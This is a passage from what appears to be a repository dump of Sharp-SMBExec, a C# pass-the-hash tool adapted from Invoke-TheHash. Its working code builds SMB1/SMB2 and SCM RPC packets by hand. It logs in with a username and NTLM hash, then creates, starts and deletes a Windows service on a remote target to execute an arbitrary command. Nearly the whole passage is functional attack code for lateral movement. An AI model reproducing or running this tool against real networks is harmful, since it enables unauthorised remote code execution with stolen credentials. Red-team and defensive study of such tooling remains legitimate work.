SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"StartServiceW\";\n }\n break;\n\n case \"StartServiceW\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 132, 135)) == \"00-00-00-00\")\n {\n if (debug) { output.AppendLine(String.Format(\"Service {0} created on {1}\", SMB_Service, Target)); }\n SMB_Service_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 112, 131);\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_SCM_Data = SMBExec.SCMStartServiceW(SMB_Service_Context_Handle);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x13, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"DeleteServiceW\";\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 132, 135)) == \"31-04-00-00\")\n {\n if (debug) { output.AppendLine(String.Format(\"Service {0} creation failed on {1}\", SMB_Service, Target)); }\n SMBExec_Failed = true;\n }\n else\n {\n if (debug) { output.AppendLine(\"Service Creation Fault Context Mismatch.\"); }\n SMBExec_Failed = true;\n }\n }\n break;\n\n case \"DeleteServiceW\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == \"1d-04-00-00\")\n {\n output.AppendLine(String.Format(\"Command executed with service {0} on {1}\", SMB_Service, Target));\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == \"02-00-00-00\")\n {\n output.AppendLine(String.Format(\"Service {0} failed to start on {1}\", SMB_Service, Target));\n }\n\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n Packet_SCM_Data = SMBExec.SCMDeleteServiceW(SMB_Service_Context_Handle);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadRequest\";\n SMB_Client_Stage_Next = \"CloseServiceHandle\";\n SMB_Close_Service_Handle_Stage = 1;\n }\n break;\n\n case \"CloseServiceHandle\":\n {\n if (SMB_Close_Service_Handle_Stage == 1)\n {\n if (debug) { output.AppendLine(String.Format(\"Service {0} deleted on {1}\", SMB_Service, Target)); }\n Service_Deleted = true;\n SMB2_Message_ID += 20;\n SMB_Close_Service_Handle_Stage++;\n Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Context_Handle);\n }\n else\n {\n SMB2_Message_ID++;\n SMBClientStage = \"CloseRequest\";\n Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Manager_Context_Handle);\n }\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n\n }\n break;\n case \"CloseRequest\":\n {\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x06, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"TreeDisconnect\";\n }\n break;\n\n case \"TreeDisconnect\":\n {\n SMB2_Message_ID++;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x04, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_SMB2_Data = SMBExec.SMB2TreeDisconnectRequest();\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"Logoff\";\n }\n break;\n case \"Logoff\":\n {\n SMB2_Message_ID += 20;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x02, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Header[\"SMB2Header_CreditRequest\"] = new byte[] { 0x7f, 0x00 };\n if (SMB_Signing)\n {\n Packet_SMB2_Header[\"SMB2Header_Flags\"] = new byte[] { 0x08, 0x00, 0x00, 0x00 };\n }\n Packet_SMB2_Data = SMBExec.SMB2SessionLogoffRequest();\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n if (SMB_Signing)\n {\n HMAC_SHA256 = new HMACSHA256();\n SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray();\n\n SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign);\n SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15);\n Packet_SMB2_Header[\"SMB2Header_Signature\"] = SMB2_Signature;\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"exit\";\n }\n break;\n }\n }\n }\n if (!Service_Deleted && !AdminCheck)\n {\n output.AppendLine(\"Warning: Service not deleted. Please delete Service \\\"\" + SMB_Service + \"\\\" manually.\");\n }\n }\n SMBClient.Close();\n SMBClientStream.Close();\n }\n\n Console.WriteLine(output.ToString());\n }\n\n public static void displayHelp(string message)\n {\n Console.WriteLine(\"{0} \\r\\nSharp-InvokeSMBxec.exe username: domain: hash: target: command:\", message);\n Environment.Exit(-1);\n }\n\n private static byte[] SendStream(NetworkStream stream, byte[] BytesToSend)\n {\n byte[] BytesReceived = new byte[2048];\n stream.Write(BytesToSend, 0, BytesToSend.Length);\n stream.Flush();\n stream.Read(BytesReceived, 0, BytesReceived.Length);\n return BytesReceived;\n }\n\n private static byte[] GetNetBIOSSessionService(int SMB_Header_Length, int RPC_Data_Length)\n {\n OrderedDictionary Packet_NetBIOS_Session_Service = SMBExec.NetBIOSSessionService(SMB_Header_Length, RPC_Data_Length);\n byte[] NetBIOS_Session_Service = Utilities.ConvertFromPacketOrderedDictionary(Packet_NetBIOS_Session_Service);\n return NetBIOS_Session_Service;\n\n }\n\n }\n}\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/Properties/AssemblyInfo.cs",
"content": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following \n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"SharpInvoke-SMBExec\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"SharpInvoke-SMBExec\")]\n[assembly: AssemblyCopyright(\"Copyright © 2017\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible \n// to COM components. If you need to access a type in this assembly from \n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"344ee55a-4e32-46f2-a003-69ad52b55945\")]\n\n// Version information for an assembly consists of the following four values:\n//\n// Major Version\n// Minor Version \n// Build Number\n// Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers \n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/SMBExec.cs",
"content": "using System;\nusing System.Collections.Specialized;\nusing System.Linq;\n\nnamespace SharpInvoke_SMBExec\n{\n public class SMBExec\n {\n /// \n /// SMBExec contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks.\n /// \n /// \n /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found\n /// at https://github.com/Kevin-Robertson/Invoke-TheHash)\n /// \n\n #region SMBv1\n public static OrderedDictionary NetBIOSSessionService(int packet_header_length, int packet_data_length)\n {\n byte[] packet_netbios_session_service_length = BitConverter.GetBytes(packet_header_length + packet_data_length);\n packet_netbios_session_service_length = new byte[] { packet_netbios_session_service_length[2], packet_netbios_session_service_length[1], packet_netbios_session_service_length[0] };\n\n OrderedDictionary packet_NetBIOSSessionService = new OrderedDictionary();\n packet_NetBIOSSessionService.Add(\"NetBIOSSessionService_Message_Type\", new byte[] { 0x00 });\n packet_NetBIOSSessionService.Add(\"NetBIOSSessionService_Length\", packet_netbios_session_service_length);\n\n return packet_NetBIOSSessionService;\n }\n public static OrderedDictionary SMBHeader(byte[] packet_command, byte[] packet_flags, byte[] packet_flags2, byte[] packet_tree_ID, byte[] packet_process_ID, byte[] packet_user_ID)\n {\n byte[] ProcessID = new byte[2] { packet_process_ID[0], packet_process_ID[1] };\n OrderedDictionary packet_SMBHeader = new OrderedDictionary();\n packet_SMBHeader.Add(\"SMBHeader_Protocol\", new byte[] { 0xff, 0x53, 0x4d, 0x42 });\n packet_SMBHeader.Add(\"SMBHeader_Command\", packet_command);\n packet_SMBHeader.Add(\"SMBHeader_ErrorClass\", new byte[] { 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_Reserved\", new byte[] { 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_ErrorCode\", new byte[] { 0x00, 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_Flags\", packet_flags);\n packet_SMBHeader.Add(\"SMBHeader_Flags2\", packet_flags2);\n packet_SMBHeader.Add(\"SMBHeader_ProcessIDHigh\", new byte[] { 0x00, 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_Signature\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_Reserved2\", new byte[] { 0x00, 0x00 });\n packet_SMBHeader.Add(\"SMBHeader_TreeID\", packet_tree_ID);\n packet_SMBHeader.Add(\"SMBHeader_ProcessID\", ProcessID);\n packet_SMBHeader.Add(\"SMBHeader_UserID\", packet_user_ID);\n packet_SMBHeader.Add(\"SMBHeader_MultiplexID\", new byte[] { 0x00, 0x00 });\n return packet_SMBHeader;\n }\n public static OrderedDictionary SMBNegotiateProtocolRequest(bool ForceSMB1)\n {\n byte[] packet_byte_count;\n if (ForceSMB1)\n {\n packet_byte_count = new byte[] { 0x0c, 0x00 };\n }\n else\n {\n packet_byte_count = new byte[] { 0x22, 0x00 };\n }\n //https://msdn.microsoft.com/en-us/library/ee441572.aspx\n OrderedDictionary packet_SMBNegotiateProtocolRequest = new OrderedDictionary();\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_WordCount\", new byte[] { 0x00 });\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_ByteCount\", packet_byte_count);\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat\", new byte[] { 0x02 });\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name\", new byte[] { 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 });\n\n if (!ForceSMB1)\n {\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2\", new byte[] { 0x02 });\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2\", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x30, 0x30, 0x32, 0x00 });\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3\", new byte[] { 0x02 });\n packet_SMBNegotiateProtocolRequest.Add(\"SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3\", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00 });\n }\n\n return packet_SMBNegotiateProtocolRequest;\n }\n public static OrderedDictionary SMBSessionSetupAndXRequest(byte[] packet_security_blob)\n {\n //https://msdn.microsoft.com/en-us/library/ee441849.aspx\n\n\n byte[] packet_byte_count = BitConverter.GetBytes(packet_security_blob.Length);\n byte[] packet_byte_count2 = { packet_byte_count[0], packet_byte_count[1] };\n byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length + 5);\n byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] };\n\n OrderedDictionary packet_SMBSessionSetupAndXRequest = new OrderedDictionary();\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_WordCount\", new byte[] { 0x0c });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_MaxBuffer\", new byte[] { 0xff, 0xff });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_MaxMpxCount\", new byte[] { 0x02, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_VCNumber\", new byte[] { 0x01, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_SessionKey\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_SecurityBlobLength\", packet_byte_count2);\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_Reserved2\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_Capabilities\", new byte[] { 0x44, 0x00, 0x00, 0x80 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_ByteCount\", packet_security_blob_length2);\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_SecurityBlob\", packet_security_blob);\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_NativeOS\", new byte[] { 0x00, 0x00, 0x00 });\n packet_SMBSessionSetupAndXRequest.Add(\"SMBSessionSetupAndXRequest_NativeLANManage\", new byte[] { 0x00, 0x00 });\n\n return packet_SMBSessionSetupAndXRequest;\n }\n public static OrderedDictionary SMBTreeConnectAndXRequest(byte[] packet_path)\n {\n byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length + 7);\n packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] };\n\n OrderedDictionary packet_SMBTreeConnectAndXRequest = new OrderedDictionary();\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_WordCount\", new byte[] { 0x04 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_Flags\", new byte[] { 0x00, 0x00 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_PasswordLength\", new byte[] { 0x01, 0x00 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_ByteCount\", packet_path_length);\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_Password\", new byte[] { 0x00 });\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_Tree\", packet_path);\n packet_SMBTreeConnectAndXRequest.Add(\"SMBTreeConnectAndXRequest_Service\", new byte[] { 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 });\n\n return packet_SMBTreeConnectAndXRequest;\n }\n public static OrderedDictionary SMBNTCreateAndXRequest(byte[] packet_named_pipe)\n {\n byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length);\n byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] };\n byte[] packet_file_name_length = BitConverter.GetBytes(packet_named_pipe.Length - 1);\n byte[] packet_file_name_length2 = { packet_file_name_length[0], packet_file_name_length[1] };\n\n OrderedDictionary packet_SMBNTCreateAndXRequest = new OrderedDictionary();\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_WordCount\", new byte[] { 0x18 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_Reserved2\", new byte[] { 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_FileNameLen\", packet_file_name_length2);\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_CreateFlags\", new byte[] { 0x16, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_RootFID\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_AccessMask\", new byte[] { 0x00, 0x00, 0x00, 0x02 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_AllocationSize\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_FileAttributes\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_ShareAccess\", new byte[] { 0x07, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_Disposition\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_CreateOptions\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_Impersonation\", new byte[] { 0x02, 0x00, 0x00, 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_SecurityFlags\", new byte[] { 0x00 });\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_ByteCount\", packet_named_pipe_length2);\n packet_SMBNTCreateAndXRequest.Add(\"SMBNTCreateAndXRequest_Filename\", packet_named_pipe);\n\n return packet_SMBNTCreateAndXRequest;\n }\n public static OrderedDictionary SMBReadAndXRequest(byte[] SMB_FID)\n {\n\n if (SMB_FID == null)\n {\n SMB_FID = new byte[] { 0x00, 0x40 };\n }\n OrderedDictionary packet_SMBReadAndXRequest = new OrderedDictionary();\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_WordCount\", new byte[] { 0x0a });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_FID\", SMB_FID);\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_MaxCountLow\", new byte[] { 0x58, 0x02 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_MinCount\", new byte[] { 0x58, 0x02 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_Unknown\", new byte[] { 0xff, 0xff, 0xff, 0xff });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_Remaining\", new byte[] { 0x00, 0x00 });\n packet_SMBReadAndXRequest.Add(\"SMBReadAndXRequest_ByteCount\", new byte[] { 0x00, 0x00 });\n\n return packet_SMBReadAndXRequest;\n }\n public static OrderedDictionary SMBWriteAndXRequest(byte[] packet_file_ID, int packet_RPC_length)\n {\n byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length);\n packet_write_length = new byte[] { packet_write_length[0], packet_write_length[1] };\n\n OrderedDictionary packet_SMBWriteAndXRequest = new OrderedDictionary();\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_WordCount\", new byte[] { 0x0e });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_AndXCommand\", new byte[] { 0xff });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_Reserved\", new byte[] { 0x00 });\n packet_SMBWriteAndXRequest.Add(\"SMBWriteAndXRequest_AndXOffset\", new byte[] { 0x00, 0x00 });\n 